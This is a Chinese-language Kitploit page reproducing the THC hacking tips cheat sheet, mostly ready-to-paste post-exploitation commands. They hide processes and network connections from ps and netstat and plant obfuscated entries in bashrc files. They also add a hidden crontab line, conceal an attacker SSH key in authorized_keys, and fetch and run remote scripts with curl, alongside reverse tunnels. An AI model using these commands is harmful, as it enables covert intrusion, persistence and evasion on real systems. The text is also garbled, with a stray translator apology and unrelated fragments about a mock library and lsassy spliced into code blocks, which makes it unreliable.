Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
工具/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

查看仓库
3.9k4711个月前Kitploit 审核通过

THC 最爱的技巧、窍门与黑客手法(速查表)

https://thc.org/tips

这是我们最喜欢的一些技巧的合集。其中许多技巧并非我们原创,我们只是收集整理。

我们按原样展示这些技巧,不解释其原理。你需要了解 Linux 才能理解它们的工作方式和原因。

有好技巧?加入我们 https://thc.org/ops

  1. Bash
    1. 设置 Hack Shell
    2. 隐藏你的命令
    3. 隐藏你的命令行选项
    4. 隐藏网络连接
    5. 以用户身份隐藏进程
    6. 以 root 身份隐藏进程
    7. 隐藏脚本
    8. 对 cat 隐藏
    9. 并行执行并分别记录日志
  2. SSH
    1. 几乎不可见的 SSH
    2. 通过单条 SSH/TCP 连接实现多个 Shell
    3. SSH 隧道
    4. SSH SOCKS5 隧道
    5. SSH 连接到 NAT 后面的主机
    6. 通过 ProxyJump 实现 SSH 跳转
    7. 以用户身份运行 SSHD
  3. 网络
    1. 发现主机
    2. Tcpdump
    3. 隧道与转发
      1. 原始 TCP 反向端口
      2. HTTPS 反向转发
      3. 使用 iptables 反弹流量
      4. 幽灵 IP / IP 欺骗
      5. 其他
    4. 通过 SOCKS 代理使用任何工具
    5. 查找你的公网 IP 地址
    6. 从世界各地检查可达性
    7. 检查/扫描开放端口
    8. 破解密码哈希
    9. 暴力破解密码 / 密钥
  4. 数据上传/下载/外传
    1. 文件编码/解码
    2. 使用剪切粘贴传输文件
    3. 使用 tmux 传输文件
    4. 使用 screen 传输文件
    5. 使用 gs-netcat 和 sftp 传输文件
    6. 使用 HTTP 传输文件
    7. 无需 curl 下载文件
    8. 使用 rsync 传输文件
    9. 传输文件到公共转储站点
    10. 使用 WebDAV 传输文件
    11. 传输文件到 Telegram
  5. 反向 Shell / 哑 Shell
    1. 反向 Shell
      1. 使用 gs-netcat(加密)
      2. 使用 Bash
      3. 使用 cURL(加密)
      4. 使用 cURL(明文)
      5. 使用 OpenSSL(加密)
      6. 使用 remote.moe(加密)
      7. 不使用 /dev/tcp
      8. 使用 Python
      9. 使用 Perl
    2. 升级哑 Shell
      1. 将反向 Shell 升级为 PTY Shell
      2. 将反向 Shell 升级为完全交互式 Shell
      3. 使用 socat 的反向 Shell(完全交互)
  6. 后门
    1. gs-netcat
    2. sshx.io
    3. 最小的 SSHD 后门
    4. 远程访问整个网络
    5. 最小的 PHP 后门
    6. 最小的反向 DNS 隧道后门
    7. 本地 root 后门
    8. 自解压植入程序
  7. 主机侦察
  8. Shell 技巧
    1. 粉碎文件(安全删除)
    2. 恢复文件的时间戳
    3. 清理日志文件
    4. 在没有 root 权限的情况下对用户隐藏文件
    5. 使文件不可变
    6. 不使用 sudo/su 切换用户
    7. 混淆和加密 Payload
    8. 在不接触文件系统的情况下部署后门
  9. 加密
    1. 快速生成随机密码
    2. Linux 可移植加密文件系统
      1. cryptsetup
      2. EncFS
    3. 加密文件
  10. 会话嗅探与劫持
    1. 嗅探用户的 SHELL 会话
    2. 使用 dtrace 嗅探所有 SHELL 会话
    3. 使用 eBPF 嗅探所有 SHELL 会话
    4. 使用 strace 嗅探用户的 SSH 或 SSHD 会话
    5. 使用包装脚本嗅探用户的外发 SSH 会话
    6. 使用 SSH-IT 嗅探用户的外发 SSH 会话
    7. 劫持/接管正在运行的 SSH 会话
  11. VPN 与 Shell
    1. 一次性 Root 服务器
    2. VPN/VPS 提供商
  12. OSINT 情报收集
  13. 杂项
    1. 常用工具
    2. 实用的 Linux 命令
    3. tmux 速查表
    4. 有用的命令
  14. 如何成为一名黑客
  15. 其他网站

1. Bash / Shell

1.i. 设置 Hack Shell(bash):

让 BASH 更安静。禁用 ~/.bash_history 以及许多其他功能。```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
备用 URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

如果没有 curl/wget,使用 surl 和(临时)安装的 curl,通过 bin curl 调用。```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShell 能做的远不止这些,但最重要的是:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

我们大量使用 anew,这是一个快速的变通方法:```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
额外提示:
任何以" "(空格)开头的命令也[不会被记录到历史记录中](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)。```
$  id

1.ii. 隐藏你的命令 / 守护进程化你的命令

这将仅隐藏进程名称。使用 zapper 还可隐藏命令行选项。```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
启动一个后台的 'nmap',伪装成 '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

在 GNU screen 中启动:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
或者,将二进制文件复制到一个新名称:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

或者改用绑定挂载,(临时)让 /sbin/init 指向 /dev/shm/nmap:```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. 隐藏你的命令行选项**

使用 [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

I apologize, but I notice there is no actual content in your message. The message ends with "INPUT:" but no Markdown content follows it.

Please provide the actual chunk content to translate.```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. 隐藏网络连接**

技巧是劫持 `netstat`,并使用 grep 过滤掉我们的连接。此示例过滤端口 31337 _或_ ip 1.2.3.4 上的任何连接。对于 `ss`(netstat 的替代方案)也应如此。

**方法 1 - 使用 ~/.bashrc 中的 bash 函数隐藏连接**

剪切并粘贴此内容,将这一行添加到 ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

或者,剪切并粘贴以下内容,以在 /.bashrc 中添加模糊条目:```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
写入 ~/.bashrc 的混淆条目将如下所示:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

方法 2 - 用 $PATH 中的二进制文件隐藏连接

在 /usr/local/sbin 中创建一个伪造的 netstat 二进制文件。在默认的 Debian(以及大多数 Linux)中,PATH 变量(echo $PATH)将 /usr/local/sbin 列在 /usr/bin 之前。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(感谢 iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. 以用户身份隐藏进程**

延续“隐藏连接”部分,同样的技术也可用于隐藏进程。此示例隐藏 nmap 进程,并通过将 `grep` 重命名为 GREP 来确保我们的 `grep` 不会出现在进程列表中:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. 以 root 身份隐藏进程

这需要 root 权限,是 Linux 的一种古老技巧,通过将一个无用目录覆盖挂载到 /proc/<pid> 上来实现:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
要隐藏命令,请使用:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(感谢 druichi 对此的改进)

1.vii. 隐藏 shell 脚本

上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个常用的技巧是改用 source。source 命令可以简写为 .(没错,就是一个点)_并且_它也会通过 $PATH 变量搜索要加载的文件。

在本示例中,我们的脚本 prng 包含上述所有 shell 函数。这些函数隐藏了 nmap 进程和网络连接。最后,我们将 . prng 添加到系统级 rc 文件中。这样,当用户(以及 root)登录时就会加载 prng:```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(对于 `lsof`、`ss` 和 `ls` 同样适用)

<a id="cat"></a>
**1.viii. 对 cat 隐藏**

ANSI 转义字符或一个简单的 `\r`([回车符](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/))可用于对 `cat` 等命令隐藏。

在 `~/.bashrc` 中隐藏最后一条命令(例如:`id`):```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

添加一个隐藏的 crontab 行:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
添加一个 `\r`(回车符)对在 `cat` 中隐藏你的 ssh 密钥大有帮助:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. 使用单独的日志文件并行执行*

注意:使用 parallel 也能实现同样的效果。

用 20 个并行任务扫描主机:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec` 用于将底层 shell 替换为最后一个进程 (nmap)。这是可选的,但可以减少运行中/无用的 shell 二进制文件数量。
- `${SLOT}` 包含 0..19 之间的一个值。它是“任务编号”。我们用它将 nmap 结果写入 20 个单独的文件。

在所有 [gsocket](https://www.gsocket.io/deploy) 主机上使用 40 个 worker 执行 [Linpeas](https://github.com/carlospolop/PEASS-ng):```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

2. SSH

2.i. 几乎不可见的 SSH

阻止你在 w 或 who 命令中显示,并停止将主机记录到 ~/.ssh/known_hosts。```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
使用 PTY 和颜色,尽享完全舒适:`xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(参见 Hackshell)

2.ii 通过 1 条 SSH/TCP 连接实现多 shell

建立一条到目标的 TCP 连接,并允许多个用户复用同一条 TCP 连接来打开更多 shell 会话。

创建主连接:```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
使用上述同一条(单一)Master-TCP 连接创建更多 shell 会话(无需密码/认证):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

可以与 xssh 组合使用,以从 utmp 中隐藏。

2.iii SSH 隧道

我们经常使用这种方法来绕过本地防火墙和 IP 过滤:```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
现在,您或任何其他人都可以连接到您计算机上的 31337 端口,并通过隧道转发到 1.2.3.4 的 80 端口,同时以 'server.org' 的源 IP 出现。另一种无需服务器的替代方案是使用 [gs-netcat](#backdoor-network)。

聪明的黑客会使用键盘组合键 `~C` 动态创建这些隧道,而无需重新连接 SSH。(感谢 MessedeDegod。)

我们利用这一点,向朋友授予对一台不在公共互联网上的内部机器的访问权限:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

任何连接到 server.org:31338 的人都将通过你的计算机被隧道转发到 192.168.0.5 的 80 端口。另一种无需服务器的替代方案是使用 gs-netcat。

2.iv SSH socks4/5 隧道

OpenSSH 7.6 为动态转发增加了 socks 支持。示例:通过你的服务器隧道转发你的所有浏览器流量。```sh ssh -D 1080 [email protected]

root@kitploit:~
现在配置你的浏览器使用 SOCKS,地址为 127.0.0.1:1080。你所有的流量现在都通过 *server.org* 进行隧道传输,并且会以 *server.org* 的源 IP 显示。另一种无需服务器的替代方案是使用 [gs-netcat](#backdoor-network)。

这是上述示例的反向操作。它允许其他人访问你的*本地*网络,或者让别人把你的计算机用作隧道端点。```sh
ssh -g -R 1080 [email protected]

The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to any computer on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use gs-netcat.

2.v SSH 连接到 NAT 后面的主机

ssh-j.com 提供了一个很棒的中继服务:用于访问 NAT/防火墙后面的主机(通过 SSH)。

在 NAT 后面的主机上:像这样创建到 ssh-j.com 的反向 SSH 隧道:```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
然后从世界上的任何其他地方使用此命令,以 'root' 身份连接到 'foobarblahblub' (NAT 后面的主机):```sh
ssh -J [email protected] root@foobarblahblub

ssh 连接通过 ssh-j.com 进入反向隧道,到达 NAT 后面的主机。流量是端到端加密的,ssh-j.com 无法看到内容。

2.vi 多服务器 SSH 跳板

处理远程服务器时,SSH ProxyJump 可以节省您大量时间和麻烦。假设以下场景:

我们的工作站是 $local-kali,我们想要 SSH 进入 $target-host。我们的工作站与 $target-host 之间没有直接连接。我们的工作站只能访问 $C2。$C2 可以访问 $internal-jumphost(通过内部 eth1),而 $internal-jumphost 可以通过 eth2 访问最终的 $target-host。```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> 我们不会在除受信任工作站之外的任何计算机上执行 `ssh`——你也绝不应如此。

这正是 ProxyJump 的用武之地:我们可以通过 $C2 和 $internal-jumphost 这两个中间服务器进行“跳转”(而无需在那两台服务器上启动 shell)。ssh 连接在 $local-kali 和 $target-host 之间是端到端加密的,任何密码或密钥都不会暴露给 $C2 或 $internal-jumphost。```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

我们也用它来在登录服务器时隐藏我们的 IP 地址。

2.vii 用户态下的 SSHD

可以以非 root 用户启动 SSHD 服务器,并用它来多路复用或转发 TCP 连接(无需日志,当系统级 SSHD 禁止转发/多路复用时),或者作为快速的非 root 数据渗出转储服务器运行:```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF 是一种通过 TLS 复用 TCP 的替代方式。


3. 网络

3.i. 发现主机```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
从 `Fake` 类构造函数(当执行 `x = Fake()` 时内部调用)开始,直到 `report` 方法。具体图示请参阅 [当前 mock 流程](https://github.com/mock-foundation/mock/wp-content/main/docs/flow-mock.md)。

为优化整体流程,`Mock` 正计划从中心化委托转向混合模式,在适当层面增强逻辑,并将方法添加到专用存储库中。```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

Docker 漏洞利用工具```sh

ICMP discover hosts (local LAN) ROOT

NET="10.11.0" # discover 10.11.0.1-10.11.0.254

seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

root@kitploit:~
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

3.iii. 隧道与转发```sh

Connect to SSL (using socat)

socat stdio openssl-connect:smtp.gmail.com:465

Connect to SSL (using openssl)

openssl s_client -connect smtp.gmail.com:465

root@kitploit:~
- 如果您不想使用 `screen` 或 `tmux`,可以将进程置于后台运行:

lsassy -d $DOMAIN -u $USER -p $PASSWORD $TARGETS > $OUTPUT_FILE &

root@kitploit:~

> 使用 **`procdump`** 和 **`comsvcs.dll`**
>
> 如果 lsass 受到保护,lsassy 将默认使用 `comsvcs.dll` 方法进行转储。如果这不起作用,您可以通过选项 `-m procdump` 快速尝试使用 `procdump`。```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

3.iii.a 原始 TCP 反向端口

适用于需要在公网 IP 地址上使用 TCP 端口的反向后门:

使用 segfault.net(免费):```sh

Request a random public TCP port:

curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)

root@kitploit:~
使用 [bore.pub](https://github.com/ekzhang/bore) (免费):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

使用 serveo.net (免费):```sh

Forward a random public TCP port to localhost:31337

ssh -R 0:localhost:31337 [email protected]

root@kitploit:~
使用 [pinggy.io](https://www.pinggy.io) (免费60分钟):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

另请参阅 remote.moe(免费)从目标机向你的工作站转发原始 TCP,或 playit(免费)或 ngrok(付费订阅)来转发原始公共 TCP 端口。

其他免费服务仅限转发 HTTPS(而非原始 TCP)。下文的一些技巧展示了如何通过 HTTPS 转发(使用 WebSockets)来隧道传输原始 TCP。


3.iii.b HTTPS 反向隧道

在服务器上,使用以下三种 HTTPS 隧道服务中的任意一种:```sh

Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using remote.moe

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using cloudflared

curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate

root@kitploit:~
任一服务都会为您生成一个新的临时 HTTPS-URL 供您使用。  

然后,在两端使用 [websocat](https://github.com/vi/websocat) 或 [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 通过该 HTTPS URL 隧道传输原始 TCP:

A. 通过 HTTPS 进行简单的 STDIN/STDOUT 管道传输:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
root@kitploit:~
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. 通过 HTTPS 转发原始 TCP:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
将端口 2222 转发到服务器的 22 端口。```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

或者将服务器用作 Socks-Proxy 出口节点(例如,通过服务器访问服务器网络内的任何主机,甚至通过服务器访问互联网(使用上述 HTTPS 反向隧道):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
更多: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) 和 [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 和 [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling)。

---
<a id="iptables"></a>
**3.iii.c 使用 iptables 反弹流量**

通过主机/路由器反弹流量,而无需运行用户态代理或转发器:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(参见 Hackshell bounce)

然后按如下方式设置转发:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
我们利用这个技巧,从防火墙保护的网络深处访问 gsocket-relay-network(或 TOR)。```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c 幽灵 IP / IP 欺骗

在目标网络内的主机上使用非常有用。该工具会(不留痕迹地)重新配置 SHELL:从此 SHELL 启动的任何程序(nmap、cme、...)都将使用虚假的 IP。你所有的攻击都将源自一个不存在的主机。```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)

root@kitploit:~
这也同样适用于与以下工具结合使用:
 * [Segfault's ROOT Servers](https://thc.org/segfault/wireguard):将你的 ROOT Server 连接到目标网络,并在目标网络内使用幽灵 IP。
 * [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/):同上,但安全性较低。

---
<a id="tunnel-more"></a>
**3.vi.d 各种隧道技巧**

### 通过 CDN 进行隧道
 * 阅读 [如何通过 CloudFlare 隧道化任意 TCP 服务](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 或使用 [DarkFlare](https://github.com/doxx/darkflare)。

### 将你的主机直接连接到远程网络
 * [WireTap](https://github.com/sandialabs/wiretap) - 可以普通用户或 root 身份运行。使用 UDP 作为传输层。([在 segfault 上试用](https://thc.org/segfault/wireguard))
 * [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - 使用 TCP 作为传输层。通过 [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) 或 gs-netcat 可以很好地工作。

### 通过 Cloudflare 将 SSH 用作廉价的反向代理

此方法与 [HTTPS 反向隧道](#https) 类似,但使用 SSH 而不是 Gost 或 websocat。
- 优点:目标上仅需使用 *cloudflared* 和 *SSH*。
- 缺点:需要 CF 订阅。

 1. 进入你的 CF 仪表盘 -> Zero Trust -> Networks -> Tunnels
 2. 新建一个任意名称的 'Cloudflared' 隧道。
